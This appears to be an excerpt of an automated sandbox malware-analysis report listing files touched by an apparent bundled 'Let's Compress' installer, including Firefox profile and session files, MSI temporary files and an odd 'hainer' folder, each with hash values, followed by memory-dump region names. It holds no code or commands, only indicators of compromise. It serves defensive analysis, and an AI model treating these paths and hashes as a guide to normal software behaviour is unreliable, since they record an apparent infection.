SHA512 619a2fc366a28f386875f55e535f315844ae8b971fbbf27d0433c0682cf778becf21f8faede41f6ddb6c2cf79381bbaf4656a73501ebc017d91662f77f6811cc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\prefs-1.js

MD5 1f85f991370c7f5224492e34ddb4f39c
SHA1 903c12ecb4acde7b27ffa6b7c8f78066f8dae570
SHA256 119ac4fa4cae668cf2603a787a278663f147bbcb273e322e95da18a0dba83d24
SHA512 eb50553241c2ebbdfe8436701e88f52a02fe749d5e099a197cf54bd724c60f33f3f4f9769d25d12ef778c94c90e4f1910d704cd00e7c0216af8e76c0f2c8c41c

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\thumbnails\9b6423a3ac1b7b4826d0f161905f222a.png

MD5 294487f02165e8f3a5702b487980e162
SHA1 d8d3fe29997cf6841bad53d1b13437c9943c20c2
SHA256 a477d0f5cd3921b875b8af7cbdd1b55edab9c456e20021dbcf5d57c5985ae783
SHA512 a37d1d0cbf648fa736280c6e2bc7a549e8350150e8c9ed02d915eb80337d7dcce45dc911fb41a8935322cb425d699dd1c7d1769c473c1751367d9e33592b07f7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\AlternateServices.bin

MD5 47be820a7978c542494e71a6a303126c
SHA1 94d40436d44c9d7f0a8bc55677c31c2388c5bbc1
SHA256 4d02b0c17a971b87818c78fccc234c117daa03ea0fa425a3754438b42afeddbb
SHA512 ea4fbc331635fc7340dec1b5dca7aef81febe1e432341904c9124e37030f6dedbd44f81215a23074e0fcf16ce1497de0df0471a966089d925c58655b8d5ee751

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 bf7bd78d4ff3538e18b3a868076e9a1a
SHA1 e7415dc208c23451077a812f3d02c2a2b838d83b
SHA256 9d57edef6d313dcbb0ce07a14219f8512a023bea1b8ff11dd1e1de1e781ffd55
SHA512 667f1605058f9fd4aa8f392e21a121bb0c55ce7b343b59834806794953821becf0aaf433b7cdcfb7608e4b1921f50f03f1372fc79652c0792ea00a9a2e7dbfc7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 560b720f9a163257ee627b38018909a4
SHA1 e30a3d43766aa469e480d4b38ba51a30b030c047
SHA256 c78a416cfd0388045ecad6a9b63bfdb2685e1de1b4ca9ad697fd20590a105f7c
SHA512 45cf17814a4accaf1d76a3afe98da5381299180de20571088c828ca6816a08dabaa45f399fd6a186479ead2658e65840f060113e87dc12f5ccb6092d60a26b43

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\datareporting\glean\db\data.safe.tmp

MD5 8315e5b00420dc953d92c82d06d279f0
SHA1 06a7961479fd20ade600bdd68577cfb55ecba3a4
SHA256 199bdb103741ca12c0f9ec37343824241cd4cd6950a4cabdc8b529bc8cc317e8
SHA512 c8b8212a29d2089a3e19692bc5ef2d0c1f25323051bd42449b0c8795871db35cf5a77ed52fa839a40360cb6e7a74a0acd86e03874ae5c0630405a16055ae1fbc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 ea8e50e177eba148140f6ce07298039c
SHA1 a30134b8fc72c3937d381c6f96c4fa3cb19c889e
SHA256 6abe22421c3076ec1f78948006eba8f4810862b79e84a7124f28dab60dac207d
SHA512 84fdef38b2af8e3d97c047789007efa081c2195d8f71286b29b28e63dfa1bf00897d3928567078fe6846bf0b706b90400d5b35bc8af1cb25d8abe0320908e549

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\datareporting\glean\db\data.safe.tmp

MD5 d167129e1debbeca1c99c53718fd7a27
SHA1 175a57fcc5f761c003786eec3548f2c035c35c3d
SHA256 8cbcea34291282ea25db80afa33a7010debca64b5d973204b45eb22ae89c34c6
SHA512 b47e273dbf876db2ceb63d7fa1ffde927ae34a951e7c49be2eeed881a47b41394f8da0c35ad9124fff62b9be7f58b8b89606762b4fab343fde0bae50de8792d9

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionCheckpoints.json.tmp

MD5 65690c43c42921410ec8043e34f09079
SHA1 362add4dbd0c978ae222a354a4e8d35563da14b4
SHA256 7343d5a46e2fca762305a4f85c45484a49c1607ede8e8c4bd12bedd2327edb8d
SHA512 c0208d51cf1586e75f22764b82c48ecbb42c1ff54aa412a85af13d686e0119b4e49e98450d25c70e3792d3b9c2cda0c5ab0c6931ebaf548693bb970a35ae62b9

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\datareporting\glean\pending_pings\addf4445-acc5-494d-a6f9-7b3c0b2a7fec

MD5 b6ec5e48d3ceb12ed442f7352a60ca99
SHA1 714a95e84513b42d51e6a41d9fa7cfb1da0ada9d
SHA256 9e927a324a1ab981457c61db133b407be07b18cb7a7b1d7358b189572596dc4c
SHA512 b50108bbb0fdd03852a42f35cfe861e15f4969a28cb619fa2f048e817e8a0670616523ef1b869918a2cdef31f4885f44424f21b186e53634e9bd94f6242e4088

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionCheckpoints.json

MD5 99601438ae1349b653fcd00278943f90
SHA1 8958d05e9362f6f0f3b616f7bfd0aeb5d37967c9
SHA256 72d74b596f7fc079d15431b51ce565a6465a40f5897682a94a3f1dd19b07959a
SHA512 ffa863d5d6af4a48aadc5c92df4781d3aacbf5d91b43b5e68569952ffec513ff95655b3e54c2161fe27d2274dd4778bad517c7a3972f206381ef292808628c55

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\places.sqlite

MD5 8d0b1194125e4d0867cd5134a7dca973
SHA1 85726efe54f74df927ae157701ae543580df611c
SHA256 d8f1848009019e54e10a0c2befed56584262bad94f01db06273d52e27c274b0e
SHA512 de5d1c646f39d563f402b3016a7e7f98920c375a8b9176f95faa89703efe7758ef16ab7ac5cbb088816fadcdffdf6fea5b42fbfdfe25d1f587a7e2ca39b1e0d7

memory/2612-11500-0x0000000001750000-0x00000000017A9000-memory.dmp

C:\Users\Admin\AppData\Roaming\Let's Compress\Let's Compress 1.4.0.0\install\decoder.dll

MD5 9d45f2790dda55df2d99ef66dcb2019d
SHA1 f2a369c1b82476e2e0641f95394dd4dee8223f01
SHA256 9b7ff49f7e1d0a39826ec458c8004b20a65a4bd0592b083f38b01e2dbc2b510f
SHA512 9bef561ec6908dcd7e75f5f63cff8b1ec73e9be2b4e4aa5602182cde18d691cc28259b980c87246c5d27b4284bc783fba44d92a202f77b15f3e65c89dd3aa069

C:\Users\Admin\AppData\Roaming\Let's Compress\Let's Compress 1.4.0.0\install\AC2D50C\Let's Compress.msi

MD5 253703063c59b36e4661903520020770
SHA1 d543ebd9d08dab97af14e1e285b9fbe5ccaac47f
SHA256 619bdf13a74e847325b91f066fc2ab96d03c54464358074dc7976e9f84d54548
SHA512 35d9c22b8fcbe49c77556bdb31a27cbe54ba3ec97e68090e8ae32c20843a0268b1fafda3b453f9442f962a031676174480dc524d11698dc17e763c338e15c5fb

C:\Users\Admin\AppData\Local\Temp\MSIA5E0.tmp

MD5 72b1c6699ddc2baab105d32761285df2
SHA1 fc85e9fb190f205e6752624a5231515c4ee4e155
SHA256 bf7f6f7e527ab8617766bb7a21c21b2895b5275c0e808756c2aadcd66eff8a97
SHA512 cde1e754d8dfb2fa55db243517b5dd3d75b209ea6387ef2e4be6157875e536db2373f23434a9e66c119150301c7b7cdf97de5a5544d94c03247b4ae716cbc170

C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_4176\dialog

MD5 40e9c790fc05030071eb615d195c28ca
SHA1 3a90c8770c15e7ed07b95d49f33299e1142c054d
SHA256 1d7d8d52adce21c1317bd7ed5717292e7bf3cf50332495de73ff6b8c0c9cd31d
SHA512 ba94e19388fe82f06e1f89f37cffbba608aeb3bf5229fb99110d740ad510dd2a47aa16c1ca4d3b501e6112005cc4caf4661437ace2dab71bd223b5f9ea21e5bb

memory/3092-11586-0x00000000050B0000-0x00000000050DE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\MSIAD58.tmp

MD5 e9e77a444817e445f12c5e4d7ae563a1
SHA1 ac44d1512ccbcab3d621ee8996c899e816d4263a
SHA256 983f2c051221b7d9cc5b0c53a8952502f2769148d87a7a89340fca8a081c4a50
SHA512 fadf784080a6c7a8ec1d192d7cddc82cee3f8cfcadcd6117aaae3a501c87bc3b25b2154b719e5caa867654298ef9e05bfb23cfe26f8a64ef3dd5b53a1a952eb4

C:\Users\Admin\AppData\Local\Temp\AI_EXTUI_BIN_4176\banner

MD5 de1459af81f7d448e39553c663dc2426
SHA1 29b786b17b8ae102eb613970f305ecefd9ce61d6
SHA256 4f23824737a445244cb3ddc615eb26db9463142b170bf8ed9df1605bf23c26ec
SHA512 a3b26f33be15eab0ddff9790e179e3138580345335f05cd3094ab2889d381bebf1f170d38865822c91c9254880556af1bfd40018654dab52a0cd1f6021c8cee2

memory/3092-11592-0x00000000050F0000-0x00000000050FA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\MSIAD58.tmp-\CustomAction.config

MD5 8c22d283225f3bdb8e36522c359796f9
SHA1 cec5168b62bc7d39930e0843a0a285c3d89ed23e
SHA256 5d6fd5049f33ac6b16ec0431787fa61c66630ba1916bb4c70f3f6b5844b74ecb
SHA512 826550987a6140b870894c02c20f1c890e187c5919fc60f5fe3fe962fc87bfcc3879ee1de6141d679aa85f6cf52f8be88a9b23a8d43b8561b6b70baf138ada3e

C:\Users\Admin\AppData\Local\Temp\MSIAD58.tmp-\Microsoft.Deployment.WindowsInstaller.dll

MD5 1a5caea6734fdd07caa514c3f3fb75da
SHA1 f070ac0d91bd337d7952abd1ddf19a737b94510c
SHA256 cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca
SHA512 a22dd3b7cf1c2edcf5b540f3daa482268d8038d468b8f00ca623d1c254affbbc1446e5bd42adc3d8e274be3ba776b0034e179faccd9ac8612ccd75186d1e3bf1

memory/3092-11632-0x0000000005170000-0x00000000051D6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\MSIAD58.tmp-\RequestSender.dll

MD5 b580a63e82c50119aca3d2864897700c
SHA1 4f9329c98260d20ec398f0a9b39aee424eca37c2
SHA256 3766a96231d79108a8dd6867927a0b081c1ad2b3265f9117839050bc7a3e2600
SHA512 22d2e273a86fb8418d3eae398f88836e95bd425135b88b4fddcaa673dfb11abf630e1f31c2be433742efc1bf6d8478847e230ffccc95ad7d899b9fdcb10803a1

C:\Users\Admin\AppData\Local\Temp\shiB84B.tmp

MD5 77d6c08c6448071b47f02b41fa18ed37
SHA1 e7fdb62abdb6d4131c00398f92bc72a3b9b34668
SHA256 047e2df9ccf0ce298508ee7f0db0abcb2ff9cff9916b6e8a1fbd806b7a9d064b
SHA512 e1aeb8e8b441d755a119f45a465ca5660678f4131984322252bfb6d2cec52e7ee54d65a64b98429b23915eb5707b04b5cd62a85446c60de8842314130a926dbd

C:\Windows\Installer\MSIBDEE.tmp

MD5 ec4cd2159189ffa5d293a24e92964b6d
SHA1 d16bbb7b4504afa4d70442e051e548372586b5d3
SHA256 8a77ed5526ecf88b81844993b5c55bdf6e056aade9c8cb3e1fd89a3b4d41a780
SHA512 099663cd0584dce7ec17322fcecef330341a711a1d6854f57eb852650ab8272b44708f18ebf6ca0e42b2ca0ed10ad99ea7729562de553353afb615604ea19101

C:\Users\Admin\AppData\Roaming\Let's Compress\updater.ini

MD5 ae8d08824a909b31ebaa2ef907dd1cb5
SHA1 2829ecfcd13bea583f1a9004e683784916ea387a
SHA256 a4bcbe15eb9e6cd36dbfa18f0d26b71cb6b03be6b1d615ca3c47546bc2bbe7e0
SHA512 e69ea0853d1abfd7721a736cd97dc5e8f930b1a9594ee396b3fd0e00cd16284f176f45465120fc0d1d38fc3afb20276b8327f0651c078d877dc2ec54f057789e

memory/9148-11762-0x00007FFA0BD00000-0x00007FFA0BE72000-memory.dmp

C:\Config.Msi\e66b8b9.rbs

MD5 20cb0fd5ce53befd3a303e745f905c09
SHA1 bb8c829c0669983d843ce05174cf53029298dff7
SHA256 3f7b5dea7a8dd4ac4847dc11a470d1635a257183e0f230b4bb1dae319f8d79a6
SHA512 05f242e8c808ad64b1a5954d2a766f39df28eb7aadc8b7e4804527dabc8cb3af254da118e20535aa6c7af56c1df45e13a9634c19c275d0cf7b40aedba0897ee9

memory/5664-11840-0x0000000002BB0000-0x0000000002BE6000-memory.dmp

memory/5664-11842-0x00000000057B0000-0x0000000005DD8000-memory.dmp

memory/5664-11844-0x0000000005500000-0x0000000005522000-memory.dmp

memory/5664-11845-0x00000000056A0000-0x0000000005706000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqslfiiw.0fg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5664-11855-0x0000000005F00000-0x0000000006254000-memory.dmp

memory/5664-11856-0x00000000064B0000-0x00000000064CE000-memory.dmp

memory/5664-11857-0x00000000064D0000-0x000000000651C000-memory.dmp

memory/9148-11858-0x00007FFA0BD00000-0x00007FFA0BE72000-memory.dmp

memory/9148-11860-0x0000000000400000-0x0000000001025000-memory.dmp

memory/5664-11861-0x0000000007450000-0x00000000074E6000-memory.dmp

memory/5664-11862-0x00000000069E0000-0x00000000069FA000-memory.dmp

memory/5664-11863-0x0000000006A30000-0x0000000006A52000-memory.dmp

memory/5664-11864-0x0000000007D30000-0x00000000082D4000-memory.dmp

memory/5008-11865-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/5664-11866-0x0000000008960000-0x0000000008FDA000-memory.dmp

memory/5664-11867-0x0000000007900000-0x0000000007932000-memory.dmp

memory/5664-11868-0x000000006E4F0000-0x000000006E53C000-memory.dmp

memory/5664-11869-0x000000006E7E0000-0x000000006EB34000-memory.dmp

memory/5664-11879-0x0000000007960000-0x000000000797E000-memory.dmp

memory/5664-11880-0x0000000007990000-0x0000000007A33000-memory.dmp

memory/5664-11881-0x0000000007A90000-0x0000000007A9A000-memory.dmp

memory/5664-11882-0x0000000007BE0000-0x0000000007BF1000-memory.dmp

memory/5008-11900-0x000000006E370000-0x000000006E4EB000-memory.dmp

memory/3432-11935-0x0000000005660000-0x00000000059B4000-memory.dmp

memory/3432-11945-0x0000000006240000-0x000000000628C000-memory.dmp

memory/3024-11946-0x0000000000910000-0x000000000097F000-memory.dmp

memory/3024-11947-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/3432-11955-0x00000000725F0000-0x000000007263C000-memory.dmp

memory/3432-11965-0x0000000007180000-0x0000000007223000-memory.dmp

memory/3024-11970-0x0000000000910000-0x000000000097F000-memory.dmp

memory/7732-11971-0x0000025C5CF20000-0x0000025C5CF42000-memory.dmp

memory/7732-11981-0x0000025C5D4E0000-0x0000025C5D50A000-memory.dmp

memory/7732-11982-0x0000025C5D4E0000-0x0000025C5D504000-memory.dmp

memory/6432-11989-0x00007FFA0BAB0000-0x00007FFA0BC22000-memory.dmp

memory/6432-11993-0x00007FFA0BAB0000-0x00007FFA0BC22000-memory.dmp

memory/6432-11995-0x0000000000400000-0x0000000001025000-memory.dmp

memory/4604-11996-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/4604-11997-0x0000000073F70000-0x00000000740EB000-memory.dmp

memory/8940-12001-0x0000000000570000-0x00000000005DF000-memory.dmp

memory/8940-12002-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/8940-12003-0x0000000000570000-0x00000000005DF000-memory.dmp

memory/4168-12004-0x00007FFA0BAB0000-0x00007FFA0BC22000-memory.dmp

C:\Users\Admin\AppData\Roaming\hainer\attribute.msg

MD5 7b71768492c87ee99e14fdbf8283728c
SHA1 377e8f2749fe8d185c7120cbddd5816010892364
SHA256 bcc0f9d9a1594b1f81e67aebdd66e68c7905b8783ff6366f8b8130e930b79292
SHA512 a63174e7a2c3f546c485501ac967010ce6d3768ff9fe7ef43755615ebe61a2513064a276a92f6d639ebf98ceb5abced484e657f4db96135ec3d541cf434f1da0

C:\Users\Admin\AppData\Roaming\hainer\amie.tar.gz

MD5 3e1051c0a7b06b308984e2ec6ced21a6
SHA1 d8a092d5e33a1feb33d05935e652848ab11a41ef
SHA256 ee404d942b75ba5765909ad862612e5892239c8283a263a47ba58072c37fe544
SHA512 d69aaf6ac59a8ac4467d03ca020da3fa95247b1a0b3595ae9a81202a45825b523cd64f803773c6c431768d22de3ac1e300c81c2994555a93be46f43b7dddccc0

memory/4168-12008-0x00007FFA0BAB0000-0x00007FFA0BC22000-memory.dmp

memory/2356-12011-0x00007FFA0BAB0000-0x00007FFA0BC22000-memory.dmp

memory/5100-12013-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/2356-12016-0x00007FFA0BAB0000-0x00007FFA0BC22000-memory.dmp

memory/6584-12020-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/1660-12024-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/1660-12029-0x0000000000420000-0x000000000048F000-memory.dmp

memory/5820-12030-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12032-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12031-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12042-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12041-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12040-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12039-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12038-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12037-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/5820-12036-0x0000029A8A240000-0x0000029A8A241000-memory.dmp

memory/8604-12043-0x0000000000720000-0x000000000078F000-memory.dmp

memory/8604-12044-0x00007FFA29D10000-0x00007FFA29F05000-memory.dmp

memory/8604-12045-0x0000000000720000-0x000000000078F000-memory.dmp

memory/4256-12046-0x00007FFA0B710000-0x00007FFA0B882000-memory.dmp